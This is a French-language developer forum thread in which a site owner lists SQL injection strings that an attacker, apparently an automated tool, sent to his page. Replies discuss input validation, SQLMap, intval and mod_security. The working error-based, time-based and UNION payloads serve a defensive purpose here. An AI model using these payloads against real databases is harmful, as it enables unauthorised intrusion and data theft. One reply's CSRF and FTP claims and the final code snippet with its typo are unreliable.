IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Sécurité Discussion :

pour information : petit florilège de tentative d'injection sql


Sujet :

Sécurité

  1. #1
    Membre du Club

    Profil pro
    Inscrit en
    Avril 2009
    Messages
    19
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Avril 2009
    Messages : 19
    Points : 51
    Points
    51
    Par défaut pour information : petit florilège de tentative d'injection sql
    Bonjour,

    J'ai eu le déplaisir vendredi de voir que je faisais l'objet d'une belle attaque par injection sql. C'est un peu de ma faute, le test sur la validité de la valeur passée à ma page n'était pas en place.

    Je me suis dit que cela pourrait en intéresser certains d'avoir quelques exemples. Je suis peut-être naïf et si ça se trouve c'est un vulgaire robot qui m'a passé toute sa panoplie en revue...

    Donc ma page est du genre http://site/repertoire/page?valeur=nombre et voici différents exemple (j'ai éliminé les essais proches tel que l'ajout d'un NULL) ou j'ai enlever valeur=nombre et mis le texte en clair (sauf pour le premier ou j'ai laissé l'original) :
    • %27%22%29%22%28%27%22%27%29%22 ou en clair '")"('"')"
    • AND (SELECT 5046 FROM(SELECT COUNT(*),CONCAT(CHAR(58,118,122,116,58),(SELECT (CASE WHEN (5046=5046) THEN 1 ELSE 0 END)),CHAR(58,104,119,114,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    • AND 7782=CAST(CHR(58)||CHR(118)||CHR(122)||CHR(116)||CHR(58)||(SELECT (CASE WHEN (7782=7782) THEN 1 ELSE 0 END))::text||CHR(58)||CHR(104)||CHR(119)||CHR(114)||CHR(58) AS NUMERIC)
    • AND 8364=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(122)+CHAR(116)+CHAR(58)+(SELECT (CASE WHEN (8364=8364) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(104)+CHAR(119)+CHAR(114)+CHAR(58)))
    • AND 9528=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(118)||CHR(122)||CHR(116)||CHR(58)||(SELECT (CASE WHEN (9528=9528) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(104)||CHR(119)||CHR(114)||CHR(58)||CHR(62))) FROM DUAL)
    • ; WAITFOR DELAY '0:0:5';--
    • AND SLEEP(5)
    • UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--


    Merci d'avance pour tous vos commentaires construcutifs sur le sujet.

  2. #2
    Nouveau Candidat au Club
    Homme Profil pro
    Forumeur.
    Inscrit en
    Octobre 2012
    Messages
    16
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Forumeur.
    Secteur : Conseil

    Informations forums :
    Inscription : Octobre 2012
    Messages : 16
    Points : 0
    Points
    0
    Par défaut
    Déjà, selon tes dires, si on se base que sur ça, il y a une faille CSRF. Ensuite concernant ces sites, essaies de mettre une requête par Robots en SQL, et sinon fais en sorte que le ftp soit sécurisé, car selon ton site, ce ne doit pas être le cas, et un CheatPass suffirait à cracker ton ftp.

  3. #3
    Membre éclairé
    Profil pro
    Ingénieur sécurité
    Inscrit en
    Février 2007
    Messages
    574
    Détails du profil
    Informations personnelles :
    Âge : 39
    Localisation : Etats-Unis

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : Industrie

    Informations forums :
    Inscription : Février 2007
    Messages : 574
    Points : 751
    Points
    751
    Par défaut
    Citation Envoyé par ViZiOnZ Voir le message
    Déjà, selon tes dires, si on se base que sur ça, il y a une faille CSRF.
    Non, rien a voir. SQLi depend purement de la validation de tes inputs.
    Citation Envoyé par ViZiOnZ Voir le message
    Ensuite concernant ces sites, essaies de mettre une requête par Robots en SQL, et sinon fais en sorte que le ftp soit sécurisé, car selon ton site, ce ne doit pas être le cas, et un CheatPass suffirait à cracker ton ftp.
    FTP n'a rien a voir la-dedans. SQLi est une faille applicative introduite par le programmeur (mauvaise validation des points d'entrees).

    @vil-farfadet : ces requetes peuvent etre generee par un crawler comme tu le dis, ou si c'etait plus ciblee, par des outils sqli. Tu leurs donne un parametre a tester, et ils generent toute un ensemble de requete pour tester ce champ. Perso, j'utilise SQLMap quand je tombe sur un champ SQLinjectable (dans le mode professionnel bien sur).

  4. #4
    Membre du Club

    Profil pro
    Inscrit en
    Avril 2009
    Messages
    19
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Avril 2009
    Messages : 19
    Points : 51
    Points
    51
    Par défaut
    Citation Envoyé par dahtah Voir le message
    @vil-farfadet : ces requetes peuvent etre generee par un crawler comme tu le dis, ou si c'etait plus ciblee, par des outils sqli. Tu leurs donne un parametre a tester, et ils generent toute un ensemble de requete pour tester ce champ. Perso, j'utilise SQLMap quand je tombe sur un champ SQLinjectable (dans le mode professionnel bien sur).
    SqlMap a l'air pas mal effectivement. Merci du tuyau.

  5. #5
    Membre à l'essai
    Homme Profil pro
    Directeur technique
    Inscrit en
    Octobre 2007
    Messages
    9
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Directeur technique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Octobre 2007
    Messages : 9
    Points : 11
    Points
    11
    Par défaut Précautions
    Personnellement je récupère la valeur avec intval:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    $valeur = inval($_GET['nombre'];
    Ensuite je vais vérifier si l'objet demandé existe deja:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    mysql_num_rows(mysql_query("TROUVER L'ARTICLE AVEC L'ID X"))
    Coté Serveur, vous pouvez mettre en place mod_security ou bien configurer iptables afin de bloquer les scans de vulnérabilités.

Discussions similaires

  1. Script pour protéger les formulaires PHP de l'injection SQL
    Par thebay dans le forum EDI, CMS, Outils, Scripts et API
    Réponses: 4
    Dernier message: 15/05/2007, 16h23
  2. Que choisir C++ ou Java pour de petites applications ?
    Par kedare dans le forum Langages de programmation
    Réponses: 4
    Dernier message: 23/02/2006, 22h48
  3. Commande pour information disque
    Par reg11 dans le forum Administration système
    Réponses: 11
    Dernier message: 03/01/2006, 19h05

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo